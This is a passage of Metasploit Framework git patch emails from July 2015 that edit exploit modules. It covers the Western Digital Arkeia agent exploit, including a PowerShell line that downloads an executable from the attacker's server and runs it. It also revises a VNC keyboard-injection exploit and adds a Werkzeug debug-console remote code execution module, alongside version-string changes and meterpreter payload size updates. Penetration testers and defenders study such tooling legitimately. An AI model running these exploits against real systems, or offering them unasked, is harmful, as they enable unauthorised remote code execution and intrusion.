reading packet length") end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length.unpack('n')[0] unless data_length == 0 disconnect @@ -436,20 +437,20 @@ class Metasploit3 < Msf::Exploit::Remote sock.put(req) - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x43\x00\x00" + header = sock.get_once(6) + unless header && header.length == 6 && header[0, 4] == "\x00\x43\x00\x00" disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") end - data_length = sock.get_once(4) + data_length = sock.get_once(2) - unless data_length && data_length.length == 4 + unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length.unpack('n')[0] unless data_length == 0 disconnect @@ -473,20 +474,20 @@ class Metasploit3 < Msf::Exploit::Remote sock.put(req) - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x63\x00\x04" + header = sock.get_once(6) + unless header && header.length == 6 && header[0, 4] == "\x00\x63\x00\x04" disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") end - data_length = sock.get_once(4) + data_length = sock.get_once(2) - unless data_length && data_length.length == 4 + unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length @@ -496,20 +497,20 @@ class Metasploit3 < Msf::Exploit::Remote # 1st Packet - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x68\x00\x04" + header = sock.get_once(6) + unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04" disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") end - data_length = sock.get_once(4) + data_length = sock.get_once(2) - unless data_length && data_length.length == 4 + unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length @@ -519,20 +520,20 @@ class Metasploit3 < Msf::Exploit::Remote # 2st Packet - id = sock.get_once(4) - unless id && id.length == 4 && id == "\x00\x68\x00\x04" + header = sock.get_once(6) + unless header && header.length == 6 && header[0, 4] == "\x00\x68\x00\x04" disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet identifier") end - data_length = sock.get_once(4) + data_length = sock.get_once(2) - unless data_length && data_length.length == 4 + unless data_length && data_length.length == 2 disconnect fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failure reading packet length") end - data_length = data_length[2..3].unpack('n')[0] + data_length = data_length.unpack('n')[0] data = sock.get_once(data_length) unless data && data.length == data_length From 95ae7d8cae62700c274ef1e0323b3d9a74ee0f4c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 16:24:49 -0500 Subject: [PATCH 0711/1013] Fix length limitation --- modules/exploits/multi/misc/arkeia_agent_exec.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 53119619af..6e3b180ce9 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -53,7 +53,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'unix', 'Payload' => { - 'Space' => 255, + 'DisableNops' => true, + 'Space' => 60000, 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'perl python bash-tcp gawk openssl' @@ -465,8 +466,8 @@ class Metasploit3 < Msf::Exploit::Remote command_length = '%02x' % command.length command_length = command_length.scan(/../).map { |x| x.hex.chr }.join - req = "\x00\x64\x00\x04\x00\x04\x00" - req << command_length # Maximum length can be 255 bytes (0xFF) + req = "\x00\x64\x00\x04\x00\x04" + req << [command.length].pack('n') req << command # Our command to be executed req << "\x00" From bdd8b56336c8544df0e74a5c943862495cbcddfd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 16:28:20 -0500 Subject: [PATCH 0712/1013] fix comment --- modules/exploits/multi/misc/arkeia_agent_exec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 6e3b180ce9..2e470675f7 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -327,7 +327,8 @@ class Metasploit3 < Msf::Exploit::Remote def primer @payload_url = get_uri - # PowerShell web download. The char replacement is needed because using the "/" character twice (like http://) directly is not possible on Windows agents. + # PowerShell web download. The char replacement is needed because using the "/" character twice (like http://) + # is not possible on Windows agents. command = "PowerShell -Command \"$s=[CHAR][BYTE]47;$b=\\\"#{@payload_url.gsub(/\//, '$($s)')}\\\";" command << "(New-Object System.Net.WebClient).DownloadFile($b,'c:/#{@down_file}.exe');" command << "(New-Object -com Shell.Application).ShellExecute('c:/#{@down_file}.exe');\"" From 917282a1f11e5732312fbdbd916370454c8a7b8a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 17:49:15 -0500 Subject: [PATCH 0713/1013] Fix ranking --- modules/exploits/multi/vnc/vnc_keyboard_exec.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb index 6d103d0185..f12c1c2754 100644 --- a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb +++ b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb @@ -8,7 +8,7 @@ require 'rex/proto/rfb' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::Powershell @@ -26,10 +26,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'License' => MSF_LICENSE, 'Platform' => %w{ win unix }, - 'Arch' => ARCH_X86, 'Targets' => [ - [ 'VNC Windows / Powershell', { 'Platform' => 'win' } ], + [ 'VNC Windows / Powershell', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ], [ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ] ], From 8349a274eab78e2ab08bc78e85604d0c94ff377c Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Thu, 2 Jul 2015 15:30:58 -0500 Subject: [PATCH 0714/1013] use and include git hash of Framework as part of the version Because we do not always update the version number, multiple releases have shown version string, which is not useful for helping debug issues, or for knowing what features are enabled. This adds the git hash or reads from a file a copy of the git hash (useful for doing packaged builds without git) so that it is clear the origin of a particular metasploit-framework version. --- Gemfile.lock | 10 +++--- lib/metasploit/framework/core/version.rb | 2 +- lib/metasploit/framework/version.rb | 34 +++++++++++++++++-- lib/msf/core/framework.rb | 9 ++--- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- spec/lib/msf/core/framework_spec.rb | 6 ---- 6 files changed, 41 insertions(+), 22 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 219a800392..79f5d9d87d 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,7 +1,7 @@ PATH remote: . specs: - metasploit-framework (4.11.3.pre.dev) + metasploit-framework (4.11.3) actionpack (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) bcrypt @@ -20,14 +20,14 @@ PATH rubyzip (~> 1.1) sqlite3 tzinfo - metasploit-framework-db (4.11.3.pre.dev) + metasploit-framework-db (4.11.3) activerecord (>= 4.0.9, < 4.1.0) metasploit-credential (= 1.0.0) - metasploit-framework (= 4.11.3.pre.dev) + metasploit-framework (= 4.11.3) metasploit_data_models (= 1.2.5) pg (>= 0.11) - metasploit-framework-pcap (4.11.3.pre.dev) - metasploit-framework (= 4.11.3.pre.dev) + metasploit-framework-pcap (4.11.3) + metasploit-framework (= 4.11.3) network_interface (~> 0.0.1) pcaprub diff --git a/lib/metasploit/framework/core/version.rb b/lib/metasploit/framework/core/version.rb index c02069540b..61e6beeffe 100644 --- a/lib/metasploit/framework/core/version.rb +++ b/lib/metasploit/framework/core/version.rb @@ -16,4 +16,4 @@ module Metasploit GEM_VERSION = Gem::Version.new(Metasploit::Framework::GEM_VERSION) end end -end \ No newline at end of file +end diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 1997dee21a..4714f35499 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -1,13 +1,43 @@ +require 'rbconfig' +require 'yaml' + module Metasploit module Framework module Version + # Determines the git hash for this source tree + # + # @return [String] the git hash for this source tree + def self.get_hash + @@git_hash ||= begin + root = File.expand_path(File.join(File.dirname(__FILE__), '..', '..', '..')) + version_yml = File.join(root, 'version.yml') + hash = '' + + if File.exist?(version_yml) + version_info = YAML.load_file(version_yml) + hash = '-' + version_info['build_framework_rev'] + else + # determine if git is installed + void = RbConfig::CONFIG['host_os'] =~ /mswin|mingw/ ? 'NUL' : '/dev/null' + git_installed = system("git --version >>#{void} 2>&1") + + # get the hash of the HEAD commit + if git_installed && File.exist?(File.join(root, '.git')) + hash = '-' + `git rev-parse HEAD`[0, 8] + end + end + hash.strip + end + end + MAJOR = 4 MINOR = 11 PATCH = 3 PRERELEASE = 'dev' + HASH = get_hash end - VERSION = "#{Version::MAJOR}.#{Version::MINOR}.#{Version::PATCH}-#{Version::PRERELEASE}" - GEM_VERSION = VERSION.gsub('-', '.pre.') + VERSION = "#{Version::MAJOR}.#{Version::MINOR}.#{Version::PATCH}-#{Version::PRERELEASE}#{Version::HASH}" + GEM_VERSION = "#{Version::MAJOR}.#{Version::MINOR}.#{Version::PATCH}" end end diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index fe54145d0d..c1701f52a5 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -11,6 +11,7 @@ require 'monitor' # require 'metasploit/framework/version' +require 'msf/base/config' require 'msf/core' require 'msf/util' @@ -33,16 +34,10 @@ class Framework Minor = Metasploit::Framework::Version::MINOR Point = Metasploit::Framework::Version::PATCH Release = "-#{Metasploit::Framework::Version::PRERELEASE}" - - if(Point) - Version = "#{Major}.#{Minor}.#{Point}#{Release}" - else - Version = "#{Major}.#{Minor}#{Release}" - end + Version = Metasploit::Framework::VERSION Revision = "$Revision$" - # Repository information RepoRevision = ::Msf::Util::SVN.revision RepoUpdated = ::Msf::Util::SVN.updated diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 4dd84dc7ba..66dbb0af92 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -418,7 +418,7 @@ class Core avdwarn = nil banner_trailers = { - :version => "%yelmetasploit v#{Msf::Framework::Version} [core:#{Metasploit::Framework::Core::GEM_VERSION} api:#{Metasploit::Framework::API::GEM_VERSION}]%clr", + :version => "%yelmetasploit v#{Metasploit::Framework::VERSION}%clr", :exp_aux_pos => "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post", :pay_enc_nop => "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops", :free_trial => "Free Metasploit Pro trial: http://r-7.co/trymsp", diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index 4786a8508a..7075f3281d 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -17,16 +17,10 @@ describe Msf::Framework do end describe "#version" do - CURRENT_VERSION = "4.11.3-dev" - subject(:framework) do described_class.new end - it "should return the current version" do - framework.version.should == CURRENT_VERSION - end - it "should return the Version constant" do described_class.const_get(:Version).should == framework.version end From 1326a26be52e8dc34b4c5c9383bc5a687f001121 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 18:35:13 -0500 Subject: [PATCH 0715/1013] Do code cleanup --- .../exploits/multi/vnc/vnc_keyboard_exec.rb | 97 ++++++++----------- 1 file changed, 42 insertions(+), 55 deletions(-) diff --git a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb index f12c1c2754..6b25a165fc 100644 --- a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb +++ b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb @@ -9,6 +9,9 @@ require 'rex/proto/rfb' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking + WINDOWS_KEY = "\xff\xeb" + ENTER_KEY = "\xff\x0d" + include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::Powershell @@ -24,6 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ 'xistence <xistence[at]0x90.nl>' ], 'Privileged' => false, + 'DefaultOptions' => { 'WfsDelay' => 20 }, 'License' => MSF_LICENSE, 'Platform' => %w{ win unix }, 'Targets' => @@ -39,12 +43,12 @@ class Metasploit3 < Msf::Exploit::Remote [ Opt::RPORT(5900), OptString.new('PASSWORD', [ false, 'The VNC password']), - OptInt.new('TIMEWAIT', [ true, 'Time to wait for payload to be executed', 20]) + OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20]) ], self.class) end - def press_key( key ) + def press_key(key) keyboard_key = "\x04\x01" # Press key keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data keyboard_key << key # The keyboard key @@ -53,49 +57,46 @@ class Metasploit3 < Msf::Exploit::Remote end - def release_key( key ) + def release_key(key) keyboard_key = "\x04\x00" # Release key keyboard_key << "\x00\x00\x00\x00" # Unknown / Unused data keyboard_key << key # The keyboard key - # Press the keyboard key. Note: No receive is done as everything is sent in one long data stream + # Release the keyboard key. Note: No receive is done as everything is sent in one long data stream sock.put(keyboard_key) end - def exec_command( command ) + def exec_command(command) values = command.chars.to_a values.each do |value| press_key("\x00#{value}") release_key("\x00#{value}") end - press_key(@enter_key) + press_key(ENTER_KEY) end - def start_cmdprompt + def start_cmd_prompt print_status("#{rhost}:#{rport} - Opening Run command") # Pressing and holding windows key for 1 second - press_key(@windows_key) - select(nil, nil, nil, 1) + press_key(WINDOWS_KEY) + Rex.select(nil, nil, nil, 1) # Press the "r" key press_key("\x00r") # Now we can release both keys again release_key("\x00r") - release_key(@windows_key) + release_key(WINDOWS_KEY) # Wait a second to open run command window select(nil, nil, nil, 1) - exec_command("cmd.exe") + exec_command('cmd.exe') # Wait a second for cmd.exe prompt to open - select(nil, nil, nil, 1) + Rex.select(nil, nil, nil, 1) end def exploit begin - - @enter_key = "\xff\x0d" - @windows_key = "\xff\xeb" alt_key = "\xff\xe9" f2_key = "\xff\xbf" password = datastore['PASSWORD'] @@ -104,92 +105,78 @@ class Metasploit3 < Msf::Exploit::Remote vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false) unless vnc.handshake - print_error("#{rhost}:#{rport} - #{vnc.error}") - return + fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC Handshake failed: #{vnc.error}") end - unless password.nil? + if password.nil? + print_status("#{rhost}:#{rport} - Bypass authentication") + # The following byte is sent in case the VNC server end doesn't require authentication (empty password) + sock.put("\x10") + else print_status("#{rhost}:#{rport} - Trying to authenticate against VNC server") if vnc.authenticate(password) print_status("#{rhost}:#{rport} - Authenticated") else - print_error("#{rhost}:#{rport} - #{vnc.error}") - return + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - VNC Authentication failed: #{vnc.error}") end - else - print_status("#{rhost}:#{rport} - Bypass authentication") - # The following byte is sent in case the VNC server end doesn't require authentication (empty password) - sock.put("\x10") end - - # Send shared desktop unless vnc.send_client_init - print_error("#{rhost}:#{rport} - #{vnc.error}") - return + fail_with(Failure::Unknown, "#{rhost}:#{rport} - VNC client init failed: #{vnc.error}") end if target.name =~ /VBScript CMDStager/ - - start_cmdprompt + start_cmd_prompt print_status("#{rhost}:#{rport} - Typing and executing payload") execute_cmdstager({:flavor => :vbs, :linemax => 8100}) - # Exit the CMD prompt - exec_command("exit") - + exec_command('exit') elsif target.name =~ /Powershell/ - - start_cmdprompt + start_cmd_prompt print_status("#{rhost}:#{rport} - Typing and executing payload") - command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true}) + command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true}) # Execute powershell payload and make sure we exit our CMD prompt exec_command("#{command} && exit") - elsif target.name =~ /Linux/ - - print_status("#{rhost}:#{rport} - Opening \"Run Application\"") + print_status("#{rhost}:#{rport} - Opening 'Run Application'") # Press the ALT key and hold it for a second press_key(alt_key) - select(nil, nil, nil, 1) - + Rex.select(nil, nil, nil, 1) # Press F2 to start up "Run application" press_key(f2_key) - # Release ALT + F2 release_key(alt_key) release_key(f2_key) - # Wait a second for "Run application" to start - select(nil, nil, nil, 1) - + Rex.select(nil, nil, nil, 1) # Start a xterm window print_status("#{rhost}:#{rport} - Opening xterm") - exec_command("xterm") - + exec_command('xterm') # Wait a second for "xterm" to start - select(nil, nil, nil, 1) - + Rex.select(nil, nil, nil, 1) # Execute our payload and exit (close) the xterm window print_status("#{rhost}:#{rport} - Typing and executing payload") exec_command("nohup #{payload.encoded} &") - exec_command("exit") + exec_command('exit') end - # Wait up to X seconds, else might timeout/disconnect before full payload is typed - select(nil, nil, nil, datastore['TIMEWAIT']) + (datastore['TIME_WAIT']).times do + Rex.sleep(1) + + # Success! session is here! + break if session_created? + end - handler rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e - print_error("#{rhost}:#{rport} - #{e.message}") + fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}") ensure disconnect end end def execute_command(cmd, opts = {}) - exec_command(cmd) + exec_command(cmd) end end From 499572845946956d8735531898150aef962d8a48 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 18:37:24 -0500 Subject: [PATCH 0716/1013] Modify arkeia_agent_exec ranking --- modules/exploits/multi/misc/arkeia_agent_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 2e470675f7..605959a4ff 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpServer::HTML From 6c6a778218f9d334d2aca78ecf5ff5a04a650a7c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 18:38:25 -0500 Subject: [PATCH 0717/1013] Modify arkeia_agent_exec title --- modules/exploits/multi/misc/arkeia_agent_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/arkeia_agent_exec.rb b/modules/exploits/multi/misc/arkeia_agent_exec.rb index 605959a4ff..0087620e60 100644 --- a/modules/exploits/multi/misc/arkeia_agent_exec.rb +++ b/modules/exploits/multi/misc/arkeia_agent_exec.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'WD Arkeia Remote Code Execution', + 'Name' => 'Western Digital Arkeia Remote Code Execution', 'Description' => %q{ This module exploits a code execution flaw in Western Digital Arkeia version 11.0.12 and below. The vulnerability exists in the 'arkeiad' daemon listening on TCP port 617. Because there are From 677cd97cc2f651e3c4861b28de1fee25952ac515 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 18:39:11 -0500 Subject: [PATCH 0718/1013] Update information --- modules/exploits/multi/vnc/vnc_keyboard_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb index 6b25a165fc..c87b0a82f0 100644 --- a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb +++ b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'VNC Keyboard Exec', + 'Name' => 'VNC Keyboard Remote Code Execution', 'Description' => %q{ This module exploits VNC servers by sending virtual keyboard keys and executing a payload. On Windows systems a command prompt is opened and a PowerShell or CMDStager From 63e91fa50f2e6563aea73617c68474ba7b3f0f98 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 18:46:06 -0500 Subject: [PATCH 0719/1013] Add reference --- modules/exploits/multi/vnc/vnc_keyboard_exec.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb index c87b0a82f0..e7e2d392b0 100644 --- a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb +++ b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb @@ -36,6 +36,10 @@ class Metasploit3 < Msf::Exploit::Remote [ 'VNC Windows / VBScript CMDStager', { 'Platform' => 'win' } ], [ 'VNC Linux / Unix', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ] ], + 'References' => + [ + [ 'URL', 'http://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-X-vnc-rdp-or-native/'] + ], 'DisclosureDate' => 'Jul 10 2015', 'DefaultTarget' => 0)) From 8d52c265d92f382e9dbddf1a5d068555230a2221 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 18:46:27 -0500 Subject: [PATCH 0720/1013] Delete wfsdelay --- modules/exploits/multi/vnc/vnc_keyboard_exec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb index e7e2d392b0..9c8552c3fa 100644 --- a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb +++ b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb @@ -27,7 +27,6 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ 'xistence <xistence[at]0x90.nl>' ], 'Privileged' => false, - 'DefaultOptions' => { 'WfsDelay' => 20 }, 'License' => MSF_LICENSE, 'Platform' => %w{ win unix }, 'Targets' => From 5a045677bcbf6450fc10b47e0c45108797796bb7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 10 Jul 2015 18:48:46 -0500 Subject: [PATCH 0721/1013] Add waiting message --- modules/exploits/multi/vnc/vnc_keyboard_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb index 9c8552c3fa..b22a3d9646 100644 --- a/modules/exploits/multi/vnc/vnc_keyboard_exec.rb +++ b/modules/exploits/multi/vnc/vnc_keyboard_exec.rb @@ -164,6 +164,7 @@ class Metasploit3 < Msf::Exploit::Remote exec_command('exit') end + print_status("#{rhost}:#{rport} - Waiting for session...") (datastore['TIME_WAIT']).times do Rex.sleep(1) From bff92f2304cc466bf79d429b7cc45cc354b56429 Mon Sep 17 00:00:00 2001 From: h00die <mike@shorebreaksecurity.com> Date: Fri, 10 Jul 2015 21:13:12 -0400 Subject: [PATCH 0722/1013] Initial add --- .../exploits/multi/http/werkzeug_debug_rce.rb | 79 +++++++++++++++++++ 1 file changed, 79 insertions(+) diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index e69de29bb2..3a9433fcf7 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -0,0 +1,79 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + + def initialize + super( + 'Name' => 'Werkzeug Debug Shell Command Execution', + 'Description' => %q{ + This module will exploit the Werkzeug debug console to put down a + python shell. This debugger "must never be used on production + machines", but sometimes slips passed testing. + Tested against: + 0.9.6 on Debian + 0.10 on CentOS + }, + 'Author' => 'h00die <mike[at]shorebreaksecurity.com>', + 'References' => + [ + [ 'Website', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'] + ], + 'License' => MSF_LICENSE, + 'Platform' => ['python'], + 'Targets' => [[ 'werkzeug 0.10 and older', { }]], + 'Arch' => ARCH_PYTHON, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 28 2015', + ) + register_options( + [ + OptString.new('URI',[true,'URI to the console','/console']) + ], self.class + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['URI']) + }) + #https://github.com/mitsuhiko/werkzeug/blob/master/werkzeug/debug/tbtools.py#L67 + if (res and res.body =~ /Brought to you by <strong class="arthur">DON'T PANIC<\/strong>, your\n friendly Werkzeug powered traceback interpreter./) + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def exploit + #first we need to get the SECRET code + secret = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['URI']) + }) + if (secret and secret.body =~ /SECRET = "([a-zA-Z0-9]{20})";/) + secret = secret.body.match(/SECRET = "([a-zA-Z0-9]{20})";/).captures[0] + vprint_status("Secret Code: #{secret}") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['URI']), + 'vars_get' => { + '__debugger__' => 'yes', + 'cmd' => payload.encoded, + 'frm' => '0', + 's' => secret + } + }) + else + print_error("Secret code not detected.") + end + end +end + From 226137896e187565ddb4d120cf482ec6d3a8ff91 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Fri, 10 Jul 2015 22:30:20 -0500 Subject: [PATCH 0723/1013] updated cached payload sizes --- modules/payloads/singles/windows/meterpreter_bind_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_http.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_https.rb | 2 +- .../payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/meterpreter_reverse_tcp.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_http.rb | 2 +- .../payloads/singles/windows/x64/meterpreter_reverse_https.rb | 2 +- .../singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb | 2 +- modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb | 2 +- 10 files changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index e46cfa3aec..068ee6e037 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 884782 + CachedSize = 885806 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index 0feb5e1780..5ed6e68ff6 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 885826 + CachedSize = 886850 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 714afa1c61..c0ea30893b 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config' module Metasploit4 - CachedSize = 885826 + CachedSize = 886850 include Msf::Payload::TransportConfig include Msf::Payload::Windows diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index 16d8395e1c..623bc74a10 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -13,7 